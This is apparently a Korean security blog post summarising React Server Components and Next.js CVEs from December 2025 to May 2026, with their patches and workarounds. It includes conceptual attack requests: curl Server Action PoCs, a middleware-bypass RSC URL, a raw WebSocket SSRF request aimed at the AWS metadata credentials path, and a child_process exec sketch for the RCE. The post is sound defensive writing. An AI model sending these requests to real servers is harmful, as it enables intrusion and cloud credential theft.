본문으로 건너뛰기

React/Next.js CVE 6개월 정리

React 19에 들어온 React Server Components(RSC) 는 컴포넌트가 서버에서 돌아가고 그 결과만 클라이언트로 흘러오는 구조입니다. 번들 크기는 줄고, 데이터 페칭은 단순해지고, 폼은 <form action={serverFn}> 한 줄로 끝납니다.

대신 새로운 공격면이 생겼습니다. 2025년 12월부터 약 6개월 동안 React와 Next.js에는 도합 15개가 넘는 CVE가 발표되었습니다. 이 글은 그 사이에 무슨 일이 있었는지를 정리합니다. 어떤 문제였고, 어떻게 재현되며, 패치는 무엇을 바꿨고, 당장 못 올릴 땐 무엇을 할 수 있는지까지 차례로 짚습니다.

6개월간의 React/Next.js CVE 타임라인. 2025년 12월 3일 React2Shell(CVE-2025-55182)이 CVSS 10.0 RCE로 공개되었습니다. 12월 11일에 후속 발견인 CVE-2025-55183(소스코드 노출, Medium)과 CVE-2025-55184(DoS, High)가 발표되었습니다. 2026년 1월 26일에 RSC DoS 추가 케이스인 CVE-2026-23864가 발표되었습니다. 2026년 5월 6일에는 13개의 권고가 한꺼번에 발표되었고 그중 핵심은 CVE-2026-23870 RSC DoS입니다. 5월 7일에는 Turbopack용 incomplete fix follow-up(CVE-2026-45109)이, 5월 11일에는 별도의 WebSocket SSRF(CVE-2026-44578)가 추가로 공개되었습니다.


2025년 12월, React2Shell

CVE-2025-55182 - Flight 프로토콜에서 시작된 RCE

12월 3일, React 팀이 짧은 글을 올렸습니다. CVSS 10.0, 인증 불필요, 원격 코드 실행. Log4Shell의 재현이라는 평이 나왔고, 보안 연구자들은 React2Shell 이라는 별명을 붙였습니다.

문제의 위치는 Flight 프로토콜(Flight protocol) 입니다. RSC에서 서버는 컴포넌트 트리, 서버 함수 호출 결과, Promise, 참조 같은 자바스크립트 값을 그대로 클라이언트로 보낼 수 있어야 합니다. JSON으로는 부족합니다. 함수 참조나 Promise는 JSON에 없으니까요. 그래서 React는 Flight라는 자체 직렬화 포맷을 만들었습니다. 각 값에 타입 마커($, $L, $@ 같은)를 붙이고, 자기 자신을 참조하는 cycle도 표현할 수 있게 한 TLV(type-length-value) 스타일 포맷입니다. <form action={serverAction}>을 호출했을 때 클라이언트가 서버로 보내는 multipart body도, 서버가 컴포넌트 렌더 결과를 RSC payload로 클라이언트에 보내는 응답도 모두 이 Flight 포맷입니다.

직렬화/역직렬화는 보안 관점에서 늘 위험합니다. pickle, PHP 직렬화, Java 직렬화, .NET BinaryFormatter가 다 같은 함정에 빠졌습니다. Flight도 그 계보의 다음 항목이 되었습니다.

영향 받은 패키지는 react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack의 19.0.0/19.1.0/19.1.1/19.2.0이고, Next.js는 App Router를 쓰는 15.x, 16.x, 그리고 14.3.0-canary.77 이후입니다.

핵심을 한 줄로 요약하면, 공격자가 보낸 페이로드를 역직렬화하는 과정에서 모듈 export를 조회할 때 bracket notation으로 prototype chain을 그대로 타고 올라갈 수 있었다 는 문제입니다. 그 말은 곧, constructor를 거쳐 전역 Function 생성자에 닿을 수 있다는 뜻입니다.

대략 이런 모양의 코드가 위험했습니다. 실제 코드를 단순화한 형태입니다:

// react-server-dom-* 내부의 모듈 해석 로직 (개념 단순화)
function requireModule(metadata) {
  const moduleExports = __webpack_require__(metadata[0])
  // metadata[2]가 attacker-controlled.
  // "constructor" 같은 prototype property에 그대로 접근됨
  return moduleExports[metadata[2]]
}

moduleExports["constructor"]Object고, Object.constructorFunction입니다. Function을 손에 쥐는 순간 new Function('return require("child_process").exec("...")')가 가능해집니다. 그게 인증되지 않은 HTTP 요청 하나로 끝납니다.

재현은 의외로 단순합니다. App Router 페이지 어디든 Next-Action 헤더만 들어가면 deserialization 코드 경로가 트리거됩니다. 헤더 값은 아무거나 상관없습니다:

# 개념적 PoC (실제 페이로드 본문은 생략). 인증 없이 단일 요청으로 시도됩니다.
curl -X POST https://example.com/ \
  -H "Next-Action: foo" \
  -H "Content-Type: multipart/form-data; boundary=----X" \
  --data-binary @malicious-flight-payload.bin

응용 코드에 명시적인 'use server'가 없어도 영향을 받습니다. RSC가 켜져 있고 vulnerable 패키지가 있다면 이미 위험합니다.

무엇이 바뀌었는가

패치 버전은 React 측에서 react-server-dom-* 19.0.1 / 19.1.2 / 19.2.1, Next.js 측에서 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 입니다. 핵심은 모듈 export 조회가 prototype chain을 타고 가지 못하도록 자체 export 목록(hasOwnProperty 또는 명시적 화이트리스트)으로 제한한 것입니다.

업그레이드는 Vercel이 만든 자동화 도구를 쓰는 게 가장 안전합니다:

# 버전 점검과 결정적 업그레이드를 인터랙티브하게 진행
npx fix-react2shell-next

Pages Router만 쓰는 앱, Edge Runtime만 쓰는 앱, Next.js 13.x와 14.x stable은 이 CVE의 영향에서 빠집니다. 그렇다고 안심할 수 있는 건 12월 11일 발표까지였습니다.

패치를 못 올릴 때

이번 CVE에 한해선 공식 권고가 “워크어라운드 없음” 입니다. 그래도 시간을 벌어야 한다면 몇 가지 선택지가 있습니다.

  • WAF 룰 켜기 - AWS WAF의 AWSManagedRulesKnownBadInputsRuleSet, Cloudflare Managed Rules가 12월 4일 전후로 룰을 배포했습니다. 다만 시그니처 기반 차단은 페이로드 변형에 약하므로 임시 방편입니다.
  • Server Action 엔드포인트의 공개 노출 줄이기 - reverse proxy에서 Next-Action 헤더가 들어온 요청에 대해 IP 제한이나 추가 인증 레이어를 강제할 수 있습니다.
  • 컨테이너 격리 - 뚫린 뒤의 피해를 줄이는 쪽으로 접근합니다. 컨테이너의 egress 화이트리스트를 좁히고 환경변수에서 장기 토큰을 빼두는 것만으로도 측면 이동을 늦출 수 있습니다.

그리고 패치 후에도 시크릿을 로테이션해야 합니다. Next.js 측 공지가 명시한 부분입니다. 12월 4일 PT 13시 이후로 노출된 시점이 있었다면, 환경변수에 있던 API 키, DB 비밀번호, OAuth 시크릿을 다 갈아야 한다는 권고였습니다.

Flight 프로토콜 RCE 공격 흐름도. 왼쪽에 공격자가 위치하고, Next-Action 헤더와 조작된 multipart Flight 페이로드를 담은 단일 HTTP POST 요청을 Next.js 서버로 보냅니다. Next.js 내부에서는 react-server-dom-* 패키지의 decodeReplyFromBusboy 함수가 페이로드를 역직렬화하고, requireModule 함수가 moduleExports[metadata[2]] 형태로 prototype chain을 따라 올라가 Object의 constructor에 도달합니다. constructor를 통해 전역 Function 생성자에 접근하면 new Function으로 임의의 JavaScript를 컴파일해 실행할 수 있습니다. 마지막 단계에서 require child_process exec이 호출되어 서버 운영체제 명령이 실행됩니다. 인증 검사는 deserialization 이후에 일어나기 때문에 이 전체 체인이 인증 없이 트리거됩니다.

CVE-2025-55183, 55184 - 첫 패치 직후의 후속 발견

12월 11일, 패치 일주일 만에 두 건이 더 발표되었습니다. 큰 CVE 다음에 후속 발견이 따라오는 건 보안 업계의 익숙한 패턴입니다. 누군가가 처음 코드 경로를 자세히 들여다보기 시작하면 비슷한 결함은 줄줄이 따라 나옵니다.

  • CVE-2025-55184 (High, DoS) - RSC 역직렬화 도중 무한 루프가 발생해 Node.js 이벤트 루프가 다른 걸 할 수가 없고 서버가 멈춥니다.
  • CVE-2025-55183 (Medium, Source Code Exposure) - 특정 조건에서 클라이언트에 의도하지 않은 서버 측 소스 코드 일부가 노출됩니다.

CVE-2025-55184 - 자기 자신을 참조하는 Promise

원인은 Flight 포맷 안에서 자기 자신을 참조하는 Promise를 만들 수 있다는 데 있습니다. Flight는 cycle을 표현할 수 있는 포맷이라고 위에서 말씀드렸는데, 이 cycle을 Promise에 적용하면 문제가 됩니다.

JavaScript의 이벤트 루프는 await someValue를 만나면 someValue.then()이 있는지 보고, 있으면 그걸 호출해서 콜백을 등록합니다. 그런데 attacker가 then()이 호출될 때마다 자기 자신을 다시 등록하는 객체를 보내면, 이벤트 루프는 영원히 같은 microtask를 다시 큐에 넣게 됩니다. CPU는 100%로 치솟고, 다른 요청은 처리될 차례를 영영 받지 못합니다.

// 개념을 단순화한 의사 코드 (실제 페이로드는 Flight 바이너리 포맷)
const evilThenable = {
  then(resolve) {
    // resolve 호출 자체가 같은 thenable을 다시 등록
    resolve(evilThenable)
  },
}
await evilThenable  // → microtask queue 무한 루프, 이벤트 루프 starvation

증상은 명확합니다. Node 프로세스 CPU 100%, 모든 엔드포인트가 동시에 타임아웃, 포트는 열려 있지만 응답이 없습니다. 인증은 필요 없고, 페이로드는 작아도 됩니다.

후속 - 패치가 또 한 번 깨졌습니다

여기서 한 번 더 헛걸음이 있었습니다.

  • CVE-2025-67779 (12월 11일 내부 발견) - 위 무한 루프 패치가 불완전 했습니다. 같은 클래스의 다른 페이로드 변종으로 여전히 starvation을 일으킬 수 있었습니다. 같은 날 추가 패치로 묶어 19.0.4 / 19.1.5 / 19.2.4를 내놓았습니다.
  • CVE-2026-23864 (2026년 1월 26일) - audit이 더 진행되면서 또 다른 DoS 케이스들 이 발견되었습니다. Mufeed VH, Joachim Viide, RyotaK, Xiangwei Zhang 네 명이 따로따로 추가 보고했습니다.

이번엔 App Router를 쓰는 13.x, 14.x, 15.x, 16.x 전부 가 영향을 받습니다. 12월 3일 발표 때 안전했던 13.x와 14.x stable이 한 주 만에 다시 패치 대상이 되었고, 1월에 한 번 더 올려야 했습니다. 1월 26일 기준 최종 권고 버전:

# 13.3 이상 14.x: 14.2.35
npm install next@14.2.35
# 15.x 라인 (마이너별로 다름)
npm install next@15.0.8    # 15.0.x
npm install next@15.1.12   # 15.1.x
npm install next@15.2.9    # 15.2.x
npm install next@15.3.9    # 15.3.x
npm install next@15.4.11   # 15.4.x
npm install next@15.5.10   # 15.5.x
# 16.x
npm install next@16.0.11
npm install next@16.1.5    # 16.1.x

2026년 5월, 한꺼번에 13개

5월 6일 Vercel은 13개의 권고를 묶어서 발표했습니다. 다음 날 한 건이 더 붙어서 14개, 그리고 5월 11일에 별도 WebSocket SSRF가 또 하나 추가됩니다. 카테고리만 봐도 어수선합니다. DoS, middleware 우회, SSRF, cache poisoning, XSS.

각각을 짧게 보겠습니다. 중요한 건 자세히 다루고, 나머지는 한 줄씩 짚습니다.

CVE-2026-23870 - 또 다른 RSC DoS

12월의 CVE-2025-55184와 1월의 CVE-2026-23864가 RSC 역직렬화 표면의 DoS였는데, 5월에 또 같은 카테고리에서 발견이 나왔습니다. 같은 코드 경로가 6개월 만에 세 번째로 패치를 받는 셈입니다.

다른 점이 있습니다. 이전 두 건은 무한 루프(이벤트 루프 starvation) 였고, 이번 건은 CPU bound 작업의 과도한 소비 입니다. CWE 분류도 다릅니다. 55184/23864는 CWE-835(Loop with Unreachable Exit Condition), 23870은 CWE-770(Allocation of Resources Without Limits or Throttling).

구체적으로는, Flight 디코더가 chunk를 풀어내면서 작은 입력으로 큰 작업량을 만들어내는 패턴을 차단하지 않고 있었습니다. zip bomb(압축을 해제할 때 기하급수적으로 큰 크기로 확장되는 악성 압축 파일)이나 billion laughs(XML 파싱 시 DTD를 사용하여 기본 문자열을 참조하는 엔티티를 만들 때 스스로를 여러 번 참고하는 방식으로 결과 크기를 급증시킴)와 같은 부류입니다. 페이로드 자체는 몇 KB지만 디코딩 결과 객체 그래프가 거대해지거나, 같은 chunk를 반복적으로 resolve하면서 CPU를 다 먹어버립니다.

# 개념적 패턴 - 작은 페이로드로 큰 CPU 부하 유발
curl -X POST https://example.com/some-server-action \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----X" \
  --data-binary @amplification-payload.bin

왜 같은 표면에서 자꾸 나오는가? React 팀이 12월 권고 글에서 그 이유를 직접 적었습니다. “critical 취약점이 공개되면, 연구자들이 인접 코드 경로를 샅샅이 뒤져 초기 패치를 우회할 수 있는 변종을 찾는다. 이건 JavaScript에 국한된 현상이 아니라 업계 공통 패턴이다.” 같은 종류의 결함이 한 번에 다 잡히는 일은 거의 없습니다. 첫 패치는 알려진 페이로드를 차단하고, 후속 패치는 변종을 차단합니다. 그리고 다음 변종이 또 나옵니다.

CVSS 7.5 (High). React 측은 react-server-dom-* 19.0.6 / 19.1.7 / 19.2.6에서, Next.js 측은 15.5.18 / 16.2.6에서 패치했습니다. 13.x와 14.x는 이번엔 패치가 나오지 않습니다. 두 라인 모두 EOL 수순이고, Vercel은 15.x 또는 16.x로의 메이저 업그레이드를 권고합니다.

Netlify처럼 서버리스에서 함수가 인스턴스당 격리되는 환경은 영향이 약합니다. 한 요청이 함수 한 인스턴스를 뻗게 만들어도 다른 요청은 다른 인스턴스에서 처리됩니다. 다만 함수 실행 시간 = 청구 시간이라는 점은 그대로입니다.

Middleware/Proxy 우회 4종 세트

이 카테고리가 이번 5월 권고에서 가장 무겁습니다. App Router에서 middleware.js(또는 새 이름인 proxy.js)로 인증을 처리하던 앱들이 직격탄을 맞았습니다.

GHSA-267c-6grr-h53f (CVE-2026-44575) - segment-prefetch URL 우회

원리는 단순합니다. /admin/dashboard/admin/dashboard.rsc?_rsc=abcd같은 페이지 를 가리킵니다. 두 번째 형태는 App Router의 prefetch가 RSC 페이로드만 받아오려고 쓰는 변종 URL입니다. 그런데 middleware 매처가 첫 번째 형태만 잡고 두 번째는 흘려보냈습니다.

// middleware.ts - 흔히 쓰는 패턴
import { NextResponse } from 'next/server'
import type { NextRequest } from 'next/server'

export function middleware(req: NextRequest) {
  if (!req.cookies.get('session')) {
    return NextResponse.redirect(new URL('/login', req.url))
  }
}

export const config = {
  matcher: '/admin/:path*',
}
# 정상 요청 - middleware가 잡아서 /login으로 리다이렉트됨
curl -i https://example.com/admin/dashboard
# → HTTP/1.1 307 Temporary Redirect
# → Location: /login

# 우회 요청 - middleware 매처에 안 잡혀서 RSC 페이로드가 그대로 반환됨
curl -i -H "RSC: 1" "https://example.com/admin/dashboard.rsc?_rsc=abcd"
# → HTTP/1.1 200 OK
# → (RSC 직렬화된 페이지 내용)

RSC 페이로드는 텍스트지만 페이지가 렌더링한 데이터를 그대로 담고 있습니다. 즉, 인증을 거치지 않은 채로 보호 페이지의 내용을 빼낼 수 있다는 뜻입니다.

패치는 middleware 매처가 RSC 변종을 함께 잡도록 매처 생성 로직을 고쳤습니다. 적용 버전은 Next.js 15.5.16과 16.2.5입니다.

Middleware 우회 흐름 비교. 위쪽은 정상 시나리오로, 공격자가 /admin/dashboard 경로로 요청하면 middleware 매처가 잡아서 /login으로 리다이렉트합니다. 아래쪽은 우회 시나리오로, 공격자가 /admin/dashboard.rsc?_rsc=abcd 형태로 요청하면 매처에 잡히지 않고 페이지가 그대로 렌더링되어 RSC 직렬화된 응답이 인증 없이 반환됩니다. 두 URL은 동일한 페이지 컴포넌트를 가리키지만 middleware 매처 입장에서는 다른 경로로 보이기 때문에 보호가 일관되지 않은 결과를 초래합니다.

GHSA-26hh-7cqf-hhc6 (CVE-2026-45109) - 위 패치의 후속

5월 7일에 따라붙은 권고입니다. 5월 6일 패치가 Turbopack을 쓰는 middleware.ts 에는 적용되지 않았다는 것이 발견되었습니다. Turbopack 사용자는 한 단계 더 올린 15.5.18 또는 16.2.6이 필요합니다.

GHSA-36qx-fr4f-26g5 (CVE-2026-44573) - Pages Router i18n 우회

Pages Router를 쓰면서 i18n을 설정한 앱에서, 로케일 접두사가 없는 /_next/data/<buildId>/<page>.json 경로가 middleware를 통과해버립니다. SSR JSON이 인증 없이 노출됩니다.

GHSA-492v-c6pp-mqqv - 동적 라우트 파라미터 인젝션

[id] 같은 동적 세그먼트에 특수문자를 끼워 넣어 middleware 매처가 인식하지 못하는 형태로 같은 페이지에 도달할 수 있는 결함입니다.

네 가지에 공통으로 적용되는 워크어라운드

네 가지 모두 같은 워크어라운드가 있습니다. middleware에만 인증을 의존하지 말고 페이지/라우트 핸들러에서도 한 번 더 확인하기. Next.js 공식 권고도 같은 말입니다.

// app/admin/dashboard/page.tsx - middleware와 별개로 페이지에서 직접 체크
import { auth } from '@/lib/auth'
import { redirect } from 'next/navigation'

export default async function Page() {
  const session = await auth()
  if (!session) redirect('/login')

  // 이 아래는 인증된 사용자만 도달합니다
  return <Dashboard userId={session.user.id} />
}

이렇게 두 번 체크하는 게 번거롭게 느껴질 수 있지만, middleware는 본질적으로 URL 매칭에 의존합니다. URL 매칭은 항상 우회 가능성을 안고 있고, 이번 4건이 그 점을 그대로 보여줬습니다. 페이지 코드 안에서 세션을 직접 확인하는 건 URL 변형과 무관합니다.

CVE-2026-44578 - WebSocket Upgrade로 인한 SSRF

5월 11일에 별도로 공개된 권고입니다(GHSA-c4j6-fc7j-m34r). self-hosted Next.js만 영향을 받고 Vercel 호스팅은 안전합니다. self-hosted라는 게 문제인데, AWS, GCP, 자체 서버에서 next start로 돌리고 있는 모든 환경이 여기 들어갑니다.

원리는 Node.js 빌트인 서버의 HTTP/1.1 WebSocket upgrade 핸들러에 있습니다. upgrade 요청이 들어왔을 때 라우팅 완료 여부를 확인하지 않고 내부 proxy 호출을 트리거하는 코드 경로가 있었습니다. 그 결과, 공격자가 absolute-form request-line 을 가진 HTTP 요청 하나로 Next.js 서버가 임의의 호스트에 outbound HTTP GET을 보내게 만들 수 있었습니다. 게다가 대상은 URL 정규화 버그 때문에 port 80에 고정 됩니다. 정확히 클라우드 메타데이터 서비스들이 듣고 있는 그 포트입니다.

요청은 이런 모양입니다:

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name HTTP/1.1
Host: target-nextjs.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13

이게 그대로 통과하면, Next.js 서버가 자기 자신 위치에서 AWS IMDSv1 엔드포인트(169.254.169.254)에 GET을 날리고, 응답이 공격자에게 돌아옵니다. EC2 인스턴스의 IAM 역할 임시 자격증명이 그 안에 있습니다. 보안 연구자들은 직접 노출된 약 7만 9천 개의 Next.js 인스턴스가 익스플로잇 가능 상태였다고 추정했습니다.

무엇이 바뀌었는가

upgrade 핸들러가 resolveRoutes 결과의 finishedstatusCode를 분해하고, 라우팅이 끝났고, URL이 protocol을 가지며, 아직 응답이 시작되지 않은 경우에만 proxy 호출이 가도록 게이트를 걸었습니다. 이 체크는 일반 HTTP 핸들러에는 이미 있던 것이고, WebSocket 쪽에선 빠져 있던 부분입니다.

패치는 Next.js 15.5.16과 16.2.5에서 들어갔습니다.

패치 못 올릴 때

이 CVE는 다행히 워크어라운드가 명확합니다. 앞단에서 absolute-form 요청을 거부하거나, 메타데이터 서비스로의 egress를 막거나, 둘 중 하나를 적용합니다. 둘 다 하면 더 좋습니다.

# nginx - absolute-form 요청 라인을 명시적으로 거부 (exploit 시그니처)
if ($request_uri ~* "^https?://") {
  return 400;
}

이 한 줄이 핵심입니다. WebSocket upgrade 자체를 막아버리면 정상 WebSocket 기능이 다 깨지지만, absolute-form URI는 이 공격의 고유한 시그니처라 false positive 없이 차단됩니다.

클라우드별 영향과 추가 대처

같은 SSRF여도 클라우드마다 위험도가 다릅니다.

AWS: 가장 위험합니다. IMDSv1은 GET 한 번이면 자격증명이 나옵니다. IMDSv2를 강제 하면 큰 폭으로 안전해집니다. IMDSv2는 PUT /latest/api/token으로 세션 토큰을 먼저 받아야 하는데, 이 SSRF는 GET만 가능합니다. 거기에 http-proxy가 자동으로 X-Forwarded-For 헤더를 붙이는데 IMDSv2는 이 헤더가 있으면 요청을 거부합니다. 이중으로 막힙니다.

# EC2 인스턴스에 IMDSv2 토큰 필수 + hop limit 1로 설정
aws ec2 modify-instance-metadata-options \
  --instance-id i-xxxxxxxxx \
  --http-tokens required \
  --http-put-response-hop-limit 1

hop-limit 1은 컨테이너 안에서 호스트 메타데이터로 가는 한 hop을 막아 Docker/Kubernetes에서의 직접 접근까지 차단합니다.

GCP: 이 CVE에 대해서는 사실상 안전 합니다. GCP 메타데이터 서버는 두 가지 보호 장치가 있습니다. 첫째, Metadata-Flavor: Google 헤더가 없으면 요청을 거부합니다. 둘째, Upgrade: websocket 헤더가 붙어 있으면 400으로 거부 합니다. 이 SSRF는 attacker가 헤더 본문을 제어하지 못하고 absolute-form URI만 조작할 수 있으므로 메타데이터 자체에는 도달할 수 없습니다.

그래도 일반적 SSRF 방어를 강화해두는 건 가치가 있습니다. GCP에서 가능한 대처는 두 가지입니다.

# 1. VPC firewall로 메타데이터 IP로의 egress 차단
#    (단, 정상 워크로드가 메타데이터를 안 쓸 때만)
gcloud compute firewall-rules create deny-metadata-from-app \
  --network=my-vpc \
  --direction=EGRESS \
  --action=DENY \
  --rules=tcp:80 \
  --destination-ranges=169.254.169.254/32 \
  --target-tags=nextjs-app

# 2. GKE면 Workload Identity로 노드 메타데이터 우회를 막기
gcloud container clusters update my-cluster \
  --workload-pool=my-project.svc.id.goog

Workload Identity를 켜면 노드 메타데이터 서버로의 직접 접근이 차단되고, Pod는 별도의 GKE 메타데이터 서버를 통해서만 인증을 받게 됩니다.

Azure: GCP와 비슷합니다. Azure IMDS는 Metadata: true 헤더를 요구해서 이 SSRF로는 도달하지 못합니다.

Oracle Cloud, DigitalOcean: 헤더 보호가 없어서 AWS IMDSv1과 비슷한 위치입니다. 위 nginx 차단 + firewall egress 차단을 같이 적용하는 게 안전합니다.

WebSocket SSRF 공격 경로 다이어그램. 왼쪽 외부의 공격자가 Upgrade websocket 헤더와 absolute-form URI를 담은 HTTP 요청을 self-hosted Next.js 서버로 보냅니다. Next.js 서버의 WebSocket upgrade 핸들러가 라우팅 완료 체크 없이 proxy 호출을 시작합니다. 이로 인해 서버 자신이 내부 메타데이터 서비스(AWS IMDS, GCP metadata, Azure IMDS 등)에 port 80으로 HTTP GET을 보내게 됩니다. 메타데이터 서비스는 IAM 역할의 임시 자격증명을 반환하고, 그 응답이 다시 공격자에게 전달됩니다. Vercel 호스팅은 이 코드 경로를 노출하지 않아 영향에서 빠집니다. 차단 지점은 두 군데로 표시됩니다. 첫째, reverse proxy 단에서 absolute-form 요청 URI 자체를 400으로 거부하는 방법. 둘째, AWS의 경우 IMDSv2 토큰 강제와 hop-limit 1 설정, GCP의 경우 VPC firewall로 메타데이터 IP 차단이나 Workload Identity로 메타데이터 자체의 접근을 제한하는 방법입니다.

Cache Components의 연결 고갈 DoS

GHSA-mg66-mrh9-m8jx (High). Next.js 16의 새 기능인 Cache Components를 켠 앱이 영향을 받습니다. Cache Components는 opt-in 기능이라 기본값에선 영향이 없습니다.

원리를 좀 더 들여다보겠습니다. Cache Components는 Partial Prerendering(PPR)과 함께 동작하는데, 한 페이지의 정적인 부분은 미리 렌더해두고 동적인 부분만 요청 시점에 채워 넣는 방식입니다. 이걸 위해서 Next.js는 Next-Resume 이라는 내부 헤더를 씁니다. “이 요청은 이전에 prerender하다 멈춘 지점부터 이어서 처리해줘”라는 신호입니다.

문제는 이 헤더가 내부 전용이어야 하는데 외부 요청에서도 그대로 받아들이고 있었다 는 것입니다. 공격자가 server action에 POST 요청을 보내면서 Next-Resume을 직접 붙이면, Next.js는 이걸 진짜 resume 요청으로 착각하고 처리 흐름이 꼬입니다. 구체적으로는 request body를 읽는 쪽과 resume 메타데이터를 기다리는 쪽이 서로를 기다리는 deadlock이 발생합니다.

# 공격자가 보내는 요청 - Next-Resume이 외부에서 들어옴
curl -X POST https://example.com/some-server-action \
  -H "Next-Resume: 1" \
  -H "Content-Type: multipart/form-data; boundary=----X" \
  --data-binary @some-body

Next-Resume deadlock 진행 과정 다이어그램. 두 개의 레인이 나란히 그려집니다. 왼쪽 레인은 server action 핸들러로, 요청 body를 읽어 처리하는 역할입니다. 오른쪽 레인은 resume 로직으로, Next-Resume 신호를 해석하는 역할입니다. 1단계에서 왼쪽 핸들러는 request body 읽기를 시작하고, 오른쪽 resume 로직은 Next-Resume 헤더를 확인해 외부 헤더를 resume 요청으로 오인합니다. 2단계에서 양쪽 모두 대기 상태에 빠집니다. 왼쪽 핸들러는 body를 다 읽었지만 처리하려면 resume state가 도착해야 하고, 오른쪽 resume 로직은 prerender state가 없어 핸들러가 body를 넘겨줘야 채워집니다. 두 대기 상태는 서로의 완료를 조건으로 기다리는 순환 의존을 형성합니다. 결국 양쪽 모두 영원히 대기하는 deadlock에 도달하고, 어느 쪽도 상대의 완료 조건을 만족시키지 못해 요청이 멈춥니다. 그 결과 deadlock된 연결은 끊기지 않고 socket이 살아남아 file descriptor를 점유하며, 이런 요청이 수백 개 누적되면 ulimit 한계에 도달해 정상 사용자의 신규 연결이 거부됩니다.

deadlock이 발생한 연결은 끊기지 않고 살아 있습니다. Node.js 프로세스 입장에서 socket은 열려 있고 file descriptor 하나를 점유합니다. 이런 요청을 수십, 수백 개 보내면 결국 file descriptor 한계(ulimit -n, 보통 1024 또는 65535)에 도달하고, 그 시점부터 정상 사용자가 새로 연결을 못 만듭니다. 서버 프로세스는 살아 있지만 받아들이질 못합니다.

무엇이 바뀌었는가

패치는 단순합니다. Next-Resume을 외부 요청에서 strip합니다. 내부에서만 의미가 있는 헤더니까, 외부에서 들어오는 건 무조건 떼어내야 합니다. 패치 버전은 15.5.16 / 16.2.5.

패치 못 올릴 때

이 CVE는 워크어라운드가 명확합니다. 앞단 프록시에서 Next-Resume 헤더를 제거 하거나 거부하면 됩니다.

# nginx - Next-Resume 헤더가 들어온 요청은 헤더만 제거하거나 차단
location / {
  proxy_set_header Next-Resume "";
  proxy_pass http://nextjs_upstream;
}
# Cloudflare Transform Rule
조건: any(http.request.headers["next-resume"][*] != "")
동작: Remove Header → Next-Resume

Cache Components를 안 쓴다면 영향이 없으니 신경 안 써도 되지만, 켜져 있다면 위 두 가지 중 하나를 우선 적용한 뒤 패치를 올리는 순서로 가는 게 안전합니다.

Image Optimization API DoS

GHSA-h64f-5h5j-jqjh (Moderate). next/image의 이미지 최적화 API에 큰 이미지나 비용이 큰 변환을 반복 요청해 CPU와 메모리를 소비시킬 수 있습니다. Vercel과 Netlify처럼 이미지 최적화를 자체 인프라로 처리하는 호스팅은 영향 없음. self-hosted라면 next.configimages.remotePatterns로 허용 도메인을 좁혀두는 게 일반적 권고입니다:

// next.config.js - 외부 이미지 도메인을 최소한으로
module.exports = {
  images: {
    remotePatterns: [
      { protocol: 'https', hostname: 'images.example.com' },
    ],
    // 너무 큰 사이즈는 미리 끊기
    deviceSizes: [640, 750, 828, 1080, 1200],
  },
}

Cache Poisoning 2종

GHSA-wfc6-r584-vfw7 (Moderate) - RSC 응답이 CDN/캐시 레이어에서 잘못 키잉되어, A 사용자의 RSC 응답이 B 사용자에게 가는 시나리오. 패치는 RSC 관련 요청 헤더에 대해 Vary를 일관되게 적용하도록 고쳤습니다.

GHSA-vfv6-92ff-j949 (Low) - RSC cache-busting 쿼리 파라미터(_rsc)에 충돌이 있어서 의도한 캐시 분리가 깨지는 케이스.

캐싱 레이어를 직접 운영 중이라면, 본인 CDN이 _rsc 쿼리와 RSC 관련 헤더를 캐시 키에 포함하는지 점검할 가치가 있습니다. Cloudflare 같은 CDN에선 Cache Rule로 명시적으로 키를 잡아줄 수 있습니다:

# Cloudflare Cache Rule 의사 코드
조건: (http.request.uri.query contains "_rsc") or (http.request.headers["RSC"] eq "1")
동작: Cache Key에 _rsc 쿼리와 RSC 헤더를 포함

XSS 2종

GHSA-ffhc-5mcf-pf4q (Moderate) - App Router에서 CSP nonce를 쓰는 앱이, 특정 조건에서 nonce가 새거나 재사용되어 인라인 스크립트 차단이 깨지는 결함입니다.

GHSA-gx5p-jg67-6x7h (Moderate) - next/scriptstrategy="beforeInteractive" 스크립트에 untrusted 입력을 넣어주면 그게 그대로 인라인되어 XSS가 됩니다. 사실 이건 패치가 없어도 안 그래야 하는 패턴이긴 합니다:

// 나쁜 패턴 - untrusted input을 그대로 인라인
import Script from 'next/script'

export default function Layout({ userInput }: { userInput: string }) {
  return (
    <Script
      strategy="beforeInteractive"
      dangerouslySetInnerHTML={{ __html: userInput }}
    />
  )
}

// 좋은 패턴 - 검증된 정적 코드만, src 로딩으로 분리
<Script strategy="beforeInteractive" src="/scripts/init.js" />

Middleware redirect의 캐시 포이즈닝

GHSA-3g8h-86w9-wvmq (Low). middleware에서 만든 리다이렉트 응답이 CDN에 잘못 캐싱되면, 다른 사용자가 그 리다이렉트를 받게 될 수 있습니다. Low인 이유는 자주 일어나지 않고, 노출 정보가 보통 URL 정도이기 때문입니다.


한자리에 모은 표

ID분류심각도영향패치 (Next.js)
CVE-2025-55182RCE (deserialization)Critical 10.015.x, 16.x App Router15.0.5~15.5.7, 16.0.7
CVE-2025-55184DoS (무한 루프)High 7.513.x~16.x App Router14.2.35~16.0.10
CVE-2025-67779위 incomplete fixHigh 7.513.x~16.x App Router14.2.35~16.0.10
CVE-2025-55183Source Code ExposureMedium 5.313.x~16.x App Router14.2.35~16.0.10
CVE-2026-23864DoS (추가 케이스, 1월)High 7.513.x~16.x App Router14.2.35~16.1.5
CVE-2026-23870DoS (RSC, CPU 자원)High 7.515.x, 16.x App Router15.5.18 / 16.2.6
CVE-2026-44575Middleware bypass (RSC URL)High15.x, 16.x App Router15.5.16 / 16.2.5
CVE-2026-45109위 follow-up (Turbopack)High15.x, 16.x + Turbopack15.5.18 / 16.2.6
CVE-2026-44573Middleware bypass (i18n)HighPages Router + i18n15.5.16 / 16.2.5
CVE-2026-44574Middleware bypass (dynamic route)High 8.1App Router15.5.16 / 16.2.5
CVE-2026-44578SSRF (WebSocket upgrade)High 8.6self-hosted15.5.16 / 16.2.5
CVE-2026-44579DoS (Cache Components)HighCache Components 사용 시15.5.16 / 16.2.5
CVE-2026-44577DoS (Image Optimization)Moderateself-hosted15.5.16 / 16.2.5
GHSA-wfc6-r584-vfw7Cache poisoning (RSC)Moderate캐시 레이어 있는 앱15.5.16 / 16.2.5
CVE-2026-44581XSS (CSP nonce)ModerateApp Router + CSP nonce15.5.16 / 16.2.5
